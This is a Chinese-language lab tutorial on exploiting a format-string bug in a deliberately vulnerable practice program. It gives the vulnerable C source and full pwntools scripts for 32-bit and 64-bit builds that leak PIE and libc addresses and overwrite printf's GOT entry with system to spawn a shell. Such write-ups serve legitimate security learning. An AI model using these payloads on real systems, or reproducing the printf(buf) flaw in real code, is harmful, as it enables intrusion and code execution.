收获

  • 利用格式化字符串泄露栈中的数据,判断输入的数据位于栈空间的哪个位置

  • 在程序开启 PIE 时,利用格式化字符串漏洞泄露栈上的真实返回地址,然后根据 ELF 文件中函数的偏移推算出其他函数的真实地址

  • 根据已经泄露的真实地址,利用 libc 偏移计算 system()b'/bin/sh' 的地址

  • 使用 Pwntools 中的 fmtstr_payload() 构造格式化字符串的利用,将 printf() 的 GOT 表地址修改为 system_plt

  • 注意 32 位程序与 64 位程序在使用 %参数顺序$格式化说明符 进行地址泄露时的区别


fmt_str_level_1_x86

源代码如下:(这里 gcc 编译时使用 -z lazy 来实现 Partial RELRO)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}

int dofunc(){
    char buf[0x100] ;
    while(1){
        puts("input:");
        read(0,buf,0x100);
		if(!strncmp(buf,"quit",4))
			break;
        printf(buf);      
    }
    return 0;
}

int main(){
    init_func();
    dofunc();
    return 0;
}

//gcc fmt_str_level_1.c -z lazy -o fmt_str_level_1_x64
//gcc -m32 fmt_str_level_1.c -z lazy -o fmt_str_level_1_x86

还是老规矩,先熟悉一下 IDA:(虽然给了源代码hhh)

你想有多PWN-fmt_test2_1.png

你想有多PWN-fmt_test2_2.png

你想有多PWN-fmt_test2_3.png

明显在 printf(buf) 处存在格式化字符串漏洞

看一眼保护,32 位小端序,RELRO 开了一半,其余全开:

你想有多PWN-fmt_test2_4.png

由于这里有个 while 循环一直调用 printf 函数,且 RELRO 为 Partial RELRO,因此可以考虑将 printf() 的 GOT 表地址修改为 system_plt,然后调用 printf() 输出 b'/bin/sh' 即可实现 system("/bin/sh")

但是由于程序开启了 PIE 地址随机化,因此 printf() 的 GOT 表地址未知,也不知道其他任何函数的真实地址

所以首先思路就是通过格式化字符串漏洞来泄露一些地址


定位并泄露栈中的数据

首先 gdb 调试 fmt_str_level_1_x86 程序:

你想有多PWN-fmt_test2_5.png

执行到 read() 输入的地方,输入:

aaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p

你想有多PWN-fmt_test2_6.png

执行到 printf() 处观察输出结果:

你想有多PWN-fmt_test2_7.png

aaaa_0x5655700f_0x4_0x565562e5_0xf7ffd000_0x20_(nil)_0x61616161_0x5f70255f_0x255f7025_0x70255f70_0x5f70255f_0x255f7025
���T���4���������tV��\�������0x5655634f

可以看到 0x61616161 就是刚刚输入的 aaaa,位于第 7 个位置

可以通过查看栈来验证一下:

你想有多PWN-fmt_test2_8.png

由于需要泄露真实地址,这里选择泄露栈上的返回地址(通常选择返回地址,不会受栈中的数据影响

找到 EBP 所在位置,由于栈空间比较长,这里使用:

(gdb) stack 100

你想有多PWN-fmt_test2_9.png

可以看到 EBP 位于 0xffffcdb8 地址处,栈的返回地址紧随其后位于 0xffffcdbc 地址处,得知返回地址 main+30 的地址为:0x5655638e

注意:由于程序开启了 PIE,这里看到的 main+30 的地址其实是随机的,不过,不论地址怎么变,栈的结构是不会变的(虽然地址是随机的,但由于操作系统的分页管理机制,地址的最低三位通常是不变的

因此,可以通过计算 main+30 在栈中的位置,然后利用格式化字符串漏洞将其泄露出来

刚刚得知输入的 aaaa 位于栈中的第 7 个位置,存放在地址 0xffffccac

计算可知 main+30 所在位置与 aaaa 相距:(0xffffcdbc - 0xffffccac) / 4 = 68

所以 main+30 在栈中位于第 68 + 7 = 75 个位置,构造 printf(%75$p) 即可将其泄露

验证一下:

你想有多PWN-fmt_test2_10.png

你想有多PWN-fmt_test2_11.png

泄露出来的地址与 main+30 的地址 0x5655638e 一致

于是,将 printf(%75$p) 泄露出来的地址减去 30 就可以得到真实的 main 函数地址了:

io.recvuntil(b'input:\n')
payload = b'%75$p'
io.sendline(payload)
ret_main_addr = int(io.recv()[2:10], 16)
print("ret_main_addr -->", hex(ret_main_addr))
main_addr = ret_main_addr - 30
print("main_addr -->", hex(main_addr))

利用 ELF 的函数偏移计算真实地址

由于 ELF 文件中函数之间的偏移不变,所以 elf.symbols["main"] - elf.got["puts"] 应该与真实的 main_addr - puts_got_addr 相同

而真实的 main_addr 已经通过前面的泄露和计算得知了,因此可以计算出 puts_got_addr

elf = ELF("./fmt_str_level_1_x86")
main_puts_offset = elf.symbols["main"] - elf.got["puts"]
puts_got_addr = main_addr - main_puts_offset
print("puts_got_addr -->", hex(puts_got_addr))

由于我们要使用 fmtstr_payload()printf() 的 GOT 表地址修改为 system_plt,因此还需要得到 printf_got_addr

计算方法与 puts_got_addr 一样,利用 ELF 的函数偏移计算即可:

main_printf_offset = elf.symbols["main"] - elf.got["printf"]
printf_got_addr = main_addr - main_printf_offset
print("printf_got_addr -->", hex(printf_got_addr))

利用 libc 偏移计算 system 地址

接下来还需要知道 system() 的真实地址,但是程序中并没有使用 system(),因此只能通过 libc 偏移来计算,这样就需要知道 puts() 或者 printf() 其一的真实地址(这些函数的实现来自于 libc,程序只负责调用)

puts() 为例:

由于我们已经得到了 puts_got_addr,该 GOT 表地址上存放的就是真实的 puts_addr,因此只需要将 puts_got_addr 这个地址上的值泄露出来即可

通过前面的分析已经知道,我们输入的内容在第 7 个位置,于是构造:

payload = p32(puts_got_addr) + b'%7$s'
io.sendline(payload)

你想有多PWN-fmt_test2_12.png

接收的数据中,前面的 4 字节 18 50 93 61 即是 p32(puts_got_addr) 的地址(小端序),紧随其后的 4 字节就是 b'%7$s' 泄露出的 puts_addr(小端序)

io.recv(4)
puts_addr = u32(io.recv(4))
print("puts_addr -->", hex(puts_addr))

然后,利用真实地址 puts_addr 计算 libc 偏移,得到 system() 的真实地址

在本地不使用 LibcSearcher 的方法

首先使用 ldd 确定程序的 libc 版本:

ldd fmt_str_level_1_x86

# 输出为:
#   linux-gate.so.1 (0xed54e000)
# 	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xed200000)
# 	/lib/ld-linux.so.2 (0xed550000)

# 因此 libc 为 /lib/i386-linux-gnu/libc.so.6

利用偏移计算:

libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libcbase = puts_addr - libc.symbols["puts"]
system_addr = libcbase + libc.symbols["system"]
bin_sh_addr = libcbase + next(libc.search(b'/bin/sh'))

每计算一步获取到的值,都记得调试一下进行验证,看看结果是不是正确的

可以看到 system() 地址没有问题:

你想有多PWN-fmt_test2_13.png

你想有多PWN-fmt_test2_14.png

利用 glibc-all-in-one 的方法

由于我直接使用 LibcSearcher 找到的 libc 偏移计算出来的 system() 地址都不对:

obj = LibcSearcher("puts", puts_addr)
# obj = LibcSearcher("__GI__IO_puts", puts_addr)
libcbase = puts_addr - obj.dump('puts') # 计算偏移量
# libcbase = puts_addr - obj.dump('__GI__IO_puts') # 计算偏移量
system_addr = libcbase + obj.dump('system') # 计算程序中 system() 的真实地址  
bin_sh_addr = libcbase + obj.dump('str_bin_sh') # 计算程序中'/bin/sh'的真实地址

所以这里通过在线网站查找:libc database search

为了更精确的查找,多加几个限制条件

刚刚通过调试我们知道:puts() 的最低三位为 0x2a0system() 最低三位为 0x170

你想有多PWN-fmt_test2_16.png

然后 b'/bin/sh' 最低三位为 0x0d5

即使地址是随机的,但是最低三位是不变的,因此搜索一下:

你想有多PWN-fmt_test2_17.png

有三个 libc 满足条件,我这里选择 libc6_2.35-0ubuntu3.7_i386

然后使用 glibc-all-in-one 下载对应版本的 libc:

你想有多PWN-fmt_test2_18.png

然后将 libc 路径更改为:

libc = ELF('/opt/glibc-all-in-one/libs/2.35-0ubuntu3.7_i386/libc.so.6')

关于如何使用 glibc-all-in-one 详见《Pwntools与exp技巧》一文

使用 fmtstr_payload 修改 GOT 表

最后,利用 fmtstr_payload() 构造格式化字符串利用,将 printf_got_addr 修改为 system_plt 地址即可

根据输入的数据位于第 7 个位置:

payload_write_printf_got = fmtstr_payload(7, {printf_got_addr: system_addr})
io.sendline(payload_write_printf_got)

printf() 传递参数 b'/bin/sh' 即可构造 system("/bin/sh")

io.sendline(b'/bin/sh')

完整脚本

from pwn import *

# 设置系统架构, 打印调试信息
context(os='linux', arch='i386', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 1

if content == 1:
	# 将本地的 Linux 程序启动为进程 io
    io = process("./fmt_str_level_1_x86")


# 附加 gdb 调试
def debug(cmd=""):
    gdb.attach(io, cmd)
    pause()


# 泄露并计算 main 函数真实地址
io.recvuntil(b'input:\n')
payload = b'%75$p'
io.sendline(payload)
ret_main_addr = int(io.recv()[2:10], 16)
print("ret_main_addr -->", hex(ret_main_addr))
main_addr = ret_main_addr - 30
print("main_addr -->", hex(main_addr))

# 根据 main 函数的真实地址计算 puts 函数的 GOT 表地址
elf = ELF("./fmt_str_level_1_x86")
main_puts_offset = elf.symbols["main"] - elf.got["puts"]
puts_got_addr = main_addr - main_puts_offset
print("puts_got_addr -->", hex(puts_got_addr))

# 利用 puts 函数的 GOT 表地址泄露 puts 函数的真实地址
payload = p32(puts_got_addr) + b'%7$s'
io.sendline(payload)
io.recv(4)
puts_addr = u32(io.recv(4))
print("puts_addr -->", hex(puts_addr))

# 根据 puts 函数的真实地址与 libc 偏移计算 system 函数地址
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# libc = ELF('/opt/glibc-all-in-one/libs/2.35-0ubuntu3.7_i386/libc.so.6')
libcbase = puts_addr - libc.symbols["puts"]
system_addr = libcbase + libc.symbols["system"]
bin_sh_addr = libcbase + next(libc.search(b'/bin/sh'))
print("libcbase -->", hex(libcbase))
print("system_addr -->", hex(system_addr))
print("bin_sh_addr -->", hex(bin_sh_addr))

# 根据 main 函数的真实地址计算 printf 函数的 GOT 表地址
main_printf_offset = elf.symbols["main"] - elf.got["printf"]
printf_got_addr = main_addr - main_printf_offset
print("printf_got_addr -->", hex(printf_got_addr))

# 利用 fmtstr_payload 将 printf 函数的 GOT 表地址改为 system 函数
payload_write_printf_got = fmtstr_payload(7, {printf_got_addr: system_addr})
# debug()
io.sendline(payload_write_printf_got)

# 向 printf 发送 b'/bin/sh' 构造 system("/bin/sh")
io.sendline(b'/bin/sh')

# 与远程交互
io.interactive()

结果

你想有多PWN-fmt_test2_15.png


fmt_str_level_1_x64

主要在 “定位并泄露栈中的数据”“利用 libc 偏移计算 system 地址” 两节中与 32 位程序有所区别


定位并泄露栈中的数据

准备工作与前面一样,就不再详细说明了

首先调试 fmt_str_level_1_x64 程序,在 read() 处输入:

aaaaaaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p

查看输出:

你想有多PWN-fmt_test2_19.png

aaaaaaaa_0x55555555600b_0x71_0xffffffff_0x6_0x7ffff7fc9040_0x6161616161616161_0x255f70255f70255f_0x5f70255f70255f70_0x70255f70255f7025_0x255f70255f70255f_0xa70255f70_(nil)

可以看到 0x6161616161616161 位于第 6 个位置,即 RSP 所指向的位置(因为在 64 位程序中 printf 函数的前 6 个参数位于寄存器中,第 7 个参数才开始入栈;而 32 位程序 printf 函数的参数都存放在栈中,这是 64 位程序与 32 位程序不同的地方

你想有多PWN-fmt_test2_20.png

与 32 位程序同理,计算可知栈中的返回地址位于:6 + (0x7fffffffdad8 - 0x7fffffffd9c0) / 8 = 6 + 35 = 41

构造 printf(%41$p) 即可泄露出 main+28 的真实地址,于是 main() 的真实地址为:

io.recvuntil(b'input:\n')
payload = b'%41$p'
io.sendline(payload)
ret_main_addr = int(io.recv()[2:14], 16)
print("ret_main_addr -->", hex(ret_main_addr))
main_addr = ret_main_addr - 28
print("main_addr -->", hex(main_addr))

利用 ELF 的函数偏移计算真实地址

与 32 位一样,根据 ELF 的函数偏移地址计算 puts_got_addrprintf_got_addr

elf = ELF("./fmt_str_level_1_x64")
main_puts_offset = elf.symbols["main"] - elf.got["puts"]
puts_got_addr = main_addr - main_puts_offset
print("puts_got_addr -->", hex(puts_got_addr))

main_printf_offset = elf.symbols["main"] - elf.got["printf"]
printf_got_addr = main_addr - main_printf_offset
print("printf_got_addr -->", hex(printf_got_addr))

利用 libc 偏移计算 system 地址

要使用 libc 计算偏移,首先需要知道一个调用自 libc 的函数的真实地址

这里还是选择通过 puts_got_addr 泄露真实 puts() 地址作为示例

注意:这里与 32 位程序有所不同!!!

如果依然使用类似于 32 位程序中的方法,在接收地址时会发生错误:

# 利用 puts 函数的 GOT 表地址泄露 puts 函数的真实地址
payload = p64(puts_got_addr) + b'%6$s'  
io.sendline(payload)  
io.recv(6)  
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))  
print("puts_addr -->", hex(puts_addr))

虽然说我们接收到的数据 0x3a7475706e69 来自 69 6e 70 75 74 3a(小端序)没有问题,但实际上 puts() 的真实地址是错误的:

你想有多PWN-fmt_test2_21.png

你想有多PWN-fmt_test2_22.png

原因在于:

  • 32 位程序的地址占 4 字节,通常 4 字节全部被使用
  • 64 位程序的地址虽然占 8 字节,但通常只使用了其中的 6 字节

实际 puts_got_addr 的地址 0x56c4b37f8020 只使用了 6 字节,这就导致我们在发送 p64(puts_got_addr) 的时候,高位 2 字节被补为 0x00,最后的地址为:0x000056c4b37f8020

即上图桃红色方框中的:20 80 7f b3 c4 56 00 00(小端序)

而这里的 0x00 会导致我们发送的 payload 被截断,因此无法达到 printf(%6$s) 的效果

所以这里为了避免被截断,我们不能在 %参数顺序$格式化说明符 之前发送 p64(puts_got_addr)

应该先发送 %参数顺序$格式化说明符,再发送 p64(puts_got_addr)

于是栈中的结构应该变为:

你想有多PWN-fmt_test2_23.png

因为先发送 %参数顺序$格式化说明符,所以 p64(puts_got_addr) 应该位于第 7 个位置,将原来的 b'%6$s' 改为 b'%7$s'

同时,64 位程序一个地址存放 8 字节,而 b'%7$s' 只有 4 字节,因此还需要填补 4 字节的垃圾数据,例如:b'%7$saaaa'

因此脚本应该改为:

# 利用 puts 函数的 GOT 表地址泄露 puts 函数的真实地址
payload = b'%7$saaaa' + p64(puts_got_addr)  
io.sendline(payload)  
# 此时泄漏的地址位于最开始,因此直接从第一个字节开始接收
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))  
print("puts_addr -->", hex(puts_addr))

你想有多PWN-fmt_test2_24.png

你想有多PWN-fmt_test2_25.png

可以看到这次没有被 0x00 截断,puts() 的真实地址也是正确的

其他的基本与 32 位一样,最后使用 fmtstr_payload() 时将偏移改为 6 即可

完整脚本

from pwn import *

# 设置系统架构, 打印调试信息
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 1

if content == 1:
	# 将本地的 Linux 程序启动为进程 io
    io = process("./fmt_str_level_1_x64")


# 附加 gdb 调试
def debug(cmd=""):
    gdb.attach(io, cmd)
    pause()


# 泄露并计算 main 函数真实地址
io.recvuntil(b'input:\n')
payload = b'%41$p'
io.sendline(payload)
ret_main_addr = int(io.recv()[2:14], 16)
print("ret_main_addr -->", hex(ret_main_addr))
main_addr = ret_main_addr - 28
print("main_addr -->", hex(main_addr))

# 根据 main 函数的真实地址计算 puts 函数的 GOT 表地址
elf = ELF("./fmt_str_level_1_x64")
main_puts_offset = elf.symbols["main"] - elf.got["puts"]
puts_got_addr = main_addr - main_puts_offset
print("puts_got_addr -->", hex(puts_got_addr))

# 利用 puts 函数的 GOT 表地址泄露 puts 函数的真实地址
payload = b'%7$saaaa' + p64(puts_got_addr)  
io.sendline(payload)  
# 此时泄漏的地址位于最开始,因此直接从第一个字节开始接收
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))  
print("puts_addr -->", hex(puts_addr))

# 根据 puts 函数的真实地址与 libc 偏移计算 system 函数地址
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc = ELF('/opt/glibc-all-in-one/libs/2.35-0ubuntu3.7_amd64/libc.so.6')
libcbase = puts_addr - libc.symbols["puts"]
system_addr = libcbase + libc.symbols["system"]
bin_sh_addr = libcbase + next(libc.search(b'/bin/sh'))
print("libcbase -->", hex(libcbase))
print("system_addr -->", hex(system_addr))
print("bin_sh_addr -->", hex(bin_sh_addr))

main_printf_offset = elf.symbols["main"] - elf.got["printf"]
printf_got_addr = main_addr - main_printf_offset
print("printf_got_addr -->", hex(printf_got_addr))

payload_write_printf_got = fmtstr_payload(6, {printf_got_addr: system_addr})
# debug()
io.sendline(payload_write_printf_got)
io.sendline(b'/bin/sh')

# 与远程交互
io.interactive()

结果

你想有多PWN-fmt_test2_26.png

你想有多PWN-fmt_test2_27.png